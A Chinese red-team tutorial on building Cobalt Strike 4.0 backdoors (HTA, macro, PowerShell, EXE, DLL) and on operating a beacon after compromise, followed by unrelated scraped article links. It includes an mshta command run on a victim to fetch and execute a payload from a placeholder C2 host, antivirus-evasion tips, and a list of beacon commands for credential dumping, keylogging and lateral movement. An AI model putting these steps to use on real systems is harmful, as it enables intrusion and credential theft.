出品|MS08067实验室(www.ms08067.com)

本文作者:BlackCat(Ms08067内网安全小组成员)

CobalStrike 4.0 生成后门几种方式

步骤:Attacks—〉Packages—〉如下:

HTML Application 生成恶意的HTA木马文件

MS Office Macro 生成office宏病毒文件

Payload Gene rator 生成各种语言版本的payload;

Windows Executable 生成可执行exe木马;

Windows Executable⑸ 生成无状态的可执行exe木马。

1、HTML Application

生成恶意的HTA木马文件

一个HTML Application (HTML应用)是一个使用HTML和一个Internet浏览器支持的脚本语言编写的Windows程序。该程序包生成一个HTML应用,该应用运行一个CobaltSt rikepayload。你可以选择可执行的选项来获取一个HTML应用,此HTML应用使得一个可执行文件落地在磁盘上并运行它。

选择PowerShell选项来得到一个HTML应用,该应用使用PowerShell来运行一个payload。使用VBA选项来静默派生一个MicrosoftExcel实例并运行一个恶意的宏来将payload注入到内存中。

生成一个 HTML application

Attacks -> Packages -> Html Application

这里有三种工作方式

executable(生成可执行攻击脚本)

powershell(生成一个powershell的脚本)

VBA(生成一个vba的脚本,使用mshta命令执行)

这里借鉴一个网上的方法,生成一个powershell,因为i两外两种方式上线不成功,然后配合host file使用。

然后会生成一个URL复制到

http://x.x.x.x:8008/download/file.ext

然后在受害者机器上运行

mshta http://x.x.x.x:8008/download/file.ext

然后CS端就可以收到上线了

2、MS Office Macro

该程序包生成一个MicrosoftOffice的宏文件并提供将宏嵌入Microsoft Word或Microsoft Excel的说明。这个参考我钓鱼部分的宏文件制作部分的文章。

3、payload Generator

该程序包允许你以不同的多种格式导出Cobalt Strike的stager。

运行 Attacks -> packages --> payload generator

该模块可以生成n种语言的后门Payload,包括C,C#,Python,Java,Perl,Powershell脚本,Powershell命 令,Ruby,Raw,免杀框架Veli中的shellcode等等…

渗透Windows主机过程中,用的比较多的就是Powershell和Powershell Command,主要是因为其方便 易用,且可以逃避一下杀毒软件(AV)的查杀。

以Powe rshell Command为例,生成的payload为一串命令,只要在主机上执行这一串命令(主机需安 装Powe rshell), cs即可收到主机的beacon

4、Windows Executable (Windows 可执行文件)

该程序包生成一个Windows可执行Ar tifact,用于传送一个payload stage r。这个程序包为你提供了多种输出选项。

Windows Serv ice EXE 是一个 Windows 可执行文件,可响应Service Cont rol Manage r命令。你可以使用这个可执行文件来作为使用sc命令起的Windows服务的调用程序,或使用Metasploit框架的PsExec模块生成一个自定义的可执行文件。

也就是说,普通的EXE和服务器启动调用的EXE是有区别是。利用Windows ServiceEXE生成的EXE才能用来作为服务自启动的EXE,利用Cobalt Strike中Windows exe生成的EXE不能作为服 务自启动的EXE程序(因为不能响应Service Control Manager)

Windows DLL (32-bit)是一个 x86 的 Windows DLL。

Windows DLL (64-bit)是一个x64的Windows DLL。这个DLL会派生一个32位的进程,并且将你的监听器迁移至其上。这两个DLL选项都会导出一个开始功能,此功能与rundll32 .exe相兼容。使用rundll32 .exe来从命令行加载你的DLL。勾选Use x64 payload框来生成匹配x64 stager的x64Ar tifact。勾选Sign executable file框来使用一个代码签名的证书来签名一个EXE或DLL Ar tifact。你 必须指定一个证书,你必须在C2拓展文件中指定证书。

上面说了好多但是实践非常简单,只是需要确认下受害者的电脑是X64还是X32直接运行我们生成的exe文件

5、Windows Executable(s)

该程序包直接导出Beacon (也就是payload stage),这个Beacon是作者写好的32或64位DLL,是一个不使用stager的可执行文件,直接和监听器连接、传输数据和命令。一个不使用stager的payload Ar tifact被称为无阶段的Ar tifact。这个程序包也有Powe rShell选项来导出Beacon作为一个PowerShell脚本,或raw选项导出与位置无关的beacon代码。

默认情况下,这个对话导出x86 payload stage。勾选Use x64 payload框来使用x64 Ar tifact生成一个x64 stage。勾选Sign executable file框来使用代码签名的证书来签名一个EXE或DLL Artifact。

这里尝试生成一个powershell马

但是生成后直接运行不可行

这里要更改下他的策略

只有管理员才有权限更改这个策略。非管理员会报错。查看脚本执行策略,可以通过:

PS E:> Get-ExecutionPolicy

更改脚本执行策略,可以通过

PS E:> Get-ExecutionPolicyRestrictedPS E:> Set-ExecutionPolicy UnRestricted

然后再次执行:





CS4.0上线机器后操作

右键菜单:

一、Interact

进入操作命令

二、Access

Dump Hashes # 获取hash

Elevate #提权

Golden Ticket #生成黄金票据注入当前会话

Make token #凭证转换

Run Mimikatz # 运行Mimikatz

Spawn As #用其他用户生成Cobalt Strike侦听器

三、Explore

Browser Pivot #劫持目标浏览器进程

Desktop(VNC) #桌面交互

File Browser #文件浏览器

Net View #命令Net View

Port Scan #端口扫描

Process List #进程列表

Screenshot # 截图

四、Pivoting

SOCKS Server# 代理服务

Listener #反向端口转发

Deploy VPN #部署VPN

五、Spawn

外部监听器(如指派给MSF,获取meterpreter权限)

六、Session

Note #备注

color #标注颜色

Remove #删除

Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率 不宜过快,容易被发现。(心跳时间)

Exit #退出





interact打开beacon后执行的操作:

  1. argue 进程参数欺骗

  2. blockdlls 阻⽌⼦进程加载⾮Microsoft DLL

  3. browserpivot 注⼊受害者浏览器进程

  4. bypassuac 绕过UAC提升权限

  5. cancel 取消正在进⾏的下载

  6. cd 切换⽬录

  7. checkin 强制让被控端回连⼀次

  8. clear 清除beacon内部的任务队列

  9. connect Connect to a Beacon peer over TCP

  10. covertvpn 部署Covert VPN客户端

  11. cp 复制⽂件

  12. dcsync 从DC中提取密码哈希

  13. desktop 远程桌⾯(VNC)

  14. dllinject 反射DLL注⼊进程

  15. dllload 使⽤LoadLibrary将DLL加载到进程中

  16. download 下载⽂件

  17. downloads 列出正在进⾏的⽂件下载

  18. drives 列出⽬标盘符

  19. elevate 使⽤exp

  20. execute 在⽬标上执⾏程序(⽆输出

  21. execute-assembly 在⽬标上内存中执⾏本地.NET程序

  22. exit 终⽌beacon会话

  23. getprivs Enable system privileges on current token

  24. getsystem 尝试获取SYSTEM权限

  25. getuid 获取⽤户ID

  26. hashdump 转储密码哈希值

  27. help 帮助

  28. inject 在注⼊进程⽣成会话

  29. jobkill 结束⼀个后台任务

  30. jobs 列出后台任务

  31. kerberos_ccache_use 从ccache⽂件中导⼊票据应⽤于此会话

  32. kerberos_ticket_purge 清除当前会话的票据

  33. kerberos_ticket_use Apply 从ticket⽂件中导⼊票据应⽤于此会话

  34. keylogger 键盘记录

  35. kill 结束进程

  36. link Connect to a Beacon peer over a named pipe

  37. logonpasswords 使⽤mimikatz转储凭据和哈希值

  38. ls 列出⽂件

  39. make_token 创建令牌以传递凭据

  40. mimikatz 运⾏mimikatz

  41. mkdir 创建⼀个⽬录

  42. mode dns 使⽤DNS A作为通信通道(仅限DNS beacon)

  43. mode dns-txt 使⽤DNS TXT作为通信通道(仅限D beacon)

  44. mode dns6 使⽤DNS AAAA作为通信通道(仅限DNS beacon)

  45. mode http 使⽤HTTP作为通信通道

  46. mv 移动⽂件

  47. net net命令

  48. note 备注

  49. portscan 进⾏端⼝扫描

  50. powerpick 通过Unmanaged PowerShell执⾏命令

  51. powershell 通过powershell.exe执⾏命令

  52. powershell-import 导⼊powershell脚本

  53. ppid Set parent PID for spawned post-ex jobs

  54. ps 显示进程列表

  55. psexec Use a service to spawn a session on a host

  56. psexec_psh Use PowerShell to spawn a session on a host

  57. psinject 在特定进程中执⾏PowerShell命令

  58. pth 使⽤Mimikatz进⾏传递哈希

  59. pwd 当前⽬录位置

  60. reg Query the registry

  61. rev2self 恢复原始令牌

  62. rm 删除⽂件或⽂件夹

  63. rportfwd 端⼝转发

  64. run 在⽬标上执⾏程序(返回输出)

  65. runas 以其他⽤户权限执⾏程序

  66. runasadmin 在⾼权限下执⾏程序

  67. runu Execute a program under another PID

  68. screenshot 屏幕截图

  69. setenv 设置环境变量

  70. shell 执⾏cmd命令

  71. shinject 将shellcode注⼊进程

  72. shspawn 启动⼀个进程并将shellcode注⼊其中

  73. sleep 设置睡眠延迟时间

  74. socks 启动SOCKS4代理

  75. socks stop 停⽌SOCKS

  76. spawn Spawn a session

  77. spawnas Spawn a session as another user

  78. spawnto Set executable to spawn processes into

  79. spawnu Spawn a session under another PID

  80. ssh 使⽤ssh连接远程主机

  81. ssh-key 使⽤密钥连接远程主机

  82. steal_token 从进程中窃取令牌

  83. timestomp 将⼀个⽂件的时间戳应⽤到另⼀个⽂件

  84. unlink Disconnect from parent Beacon

  85. upload 上传⽂件

  86. wdigest 使⽤mimikatz转储明⽂凭据

  87. winrm 使⽤WinRM横向渗透

  88. wmi 使⽤WMI横向渗透

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

转载请联系作者并注明出处!

CobalStrike 4.0 生成后门几种方式 及 主机上线后基础操作的更多相关文章

  1. mybatis-generator生成逆向工程两种方式

    本文博客地址:http://blog.csdn.net/soonfly/article/details/64499423 逆向工程下载 链接:https://pan.baidu.com/s/1YOAq ...

  2. vue2.0 tab切换几种方式

    第一种 比较灵活简单的方式(切换改变部分的内容在组件中比较方便操作) <template> <div id="app"> <ul> <li ...

  3. Win8 安装.Net Framework3.5(2.0,3.0)组件二种方式

    第一种: 通过命令+win8映像文件 找到系统盘cmd文件:C:\WINDOWS\system32\Cmd.exe 右键“以管理员身份运行”,然后弹出一个黑框框. 黑框框里面输入一下命令: dism. ...

  4. 15.id生成的两种方式

  5. poco对象生成的几种方式根据你使用不同的ui决定

    androidpoco定义方法 from poco.drivers.android.uiautomation import AndroidUiautomationPoco dev = connect_ ...

  6. symfony中模板生成路径两种方式

    1. 使用url('route_a_b_c')  这种方式会是全路径 : http://www.test.com/a/b/c 2. 使用path('route_a_b_c') 这种方式只是路径: /a ...

  7. 排产的两种方式(前推式与后拉式)在Optaplanner上的体现

    生产计划的约束 在制定生产计划过程中,必然是存在某些制约因素,满足某些需求才能进行的,或是交期保证.或是产能限制.或是关键工序制约.即TOC理论 - 任何系统至少存在着一个制约因素/瓶颈:否则它就可能 ...

  8. XFire构建web service客户端的五种方式

    这里并未涉及到JSR 181 Annotations 的相关应用,具体的三种方式如下 ① 通过WSDL地址来创建动态客户端 ② 通过服务端提供的接口来创建客户端 ③ 使用Ant通过WSDL文件来生成客 ...

  9. nginx开启ssl并把http重定向到https的两种方式

    1 简介 Nginx是一个非常强大和流行的高性能Web服务器.本文讲解Nginx如何整合https并将http重定向到https. https相关文章如下: (1)Springboot整合https原 ...

随机推荐

  1. Java生产环境下性能监控与调优详解视频教程 百度云 网盘

    集数合计:9章Java视频教程详情描述:A0193<Java生产环境下性能监控与调优详解视频教程>软件开发只是第一步,上线后的性能监控与调优才是更为重要的一步本课程将为你讲解如何在生产环境 ...

  2. 如何对项目中的问题进行分析——FPGA失败案例小结

    本人最近在做一个小项目,自己取名叫做<基于zedboard的千兆以太网底层设计>,一般我都是写好各模块的verilog代码,确定模块没bug后再做整个系统级联,之后直接先进行综合看看有没有 ...

  3. replaceAll

    /**  * 根据正则是,替换对应内容  * @return  */ public static String replaceByRegex(String regex,String src,Strin ...

  4. IntelliJ IDEA如何用maven命令打jar包

    IntelliJ IDEA如何用maven命令打jar包?下面给大家详细介绍一下具体步骤及说明. 工具/原料   IntelliJ IDEA maven 方法/步骤     第一步在CMD命令窗口输入 ...

  5. IDEA git 切换分支

    如图:打开DIEA , 在右下角找到Git分支 , 然后选择你要切换的分支 , 最后选择 Checkout

  6. java上下分页窗口流动布局

    上下分页要用到 JSplitPane jSplitPane =new JSplitPane();//设定为拆分布局 效果图: show me code: import java.awt.event.C ...

  7. Centos7 安装Teamviewer

    参考:链接1  链接2  链接3 由于工作原因,需要再Centos7.6下安装Teamviewer,流程如下: 下载 TeamViewer下载 链接 wget https://download.tea ...

  8. Pytest测试框架(三):pytest fixture 用法

    xUnit style 结构的 fixture用于初始化测试函数, pytest fixture是对传统的 xUnit 架构的setup/teardown功能的改进.pytest fixture为测试 ...

  9. element-ui使用后手记

    一.路由模式el-menu中使用路由模式 在el-meun中设置:router="true" 在el-menu-item中设置index="路由地址"

  10. PHP 获取天气

    /** * 获取天气 */ function get_tq () { //获取用户ip地址 $ip = get_real_ip(); // $ip = '123.125.71.38'; //根据ip地 ...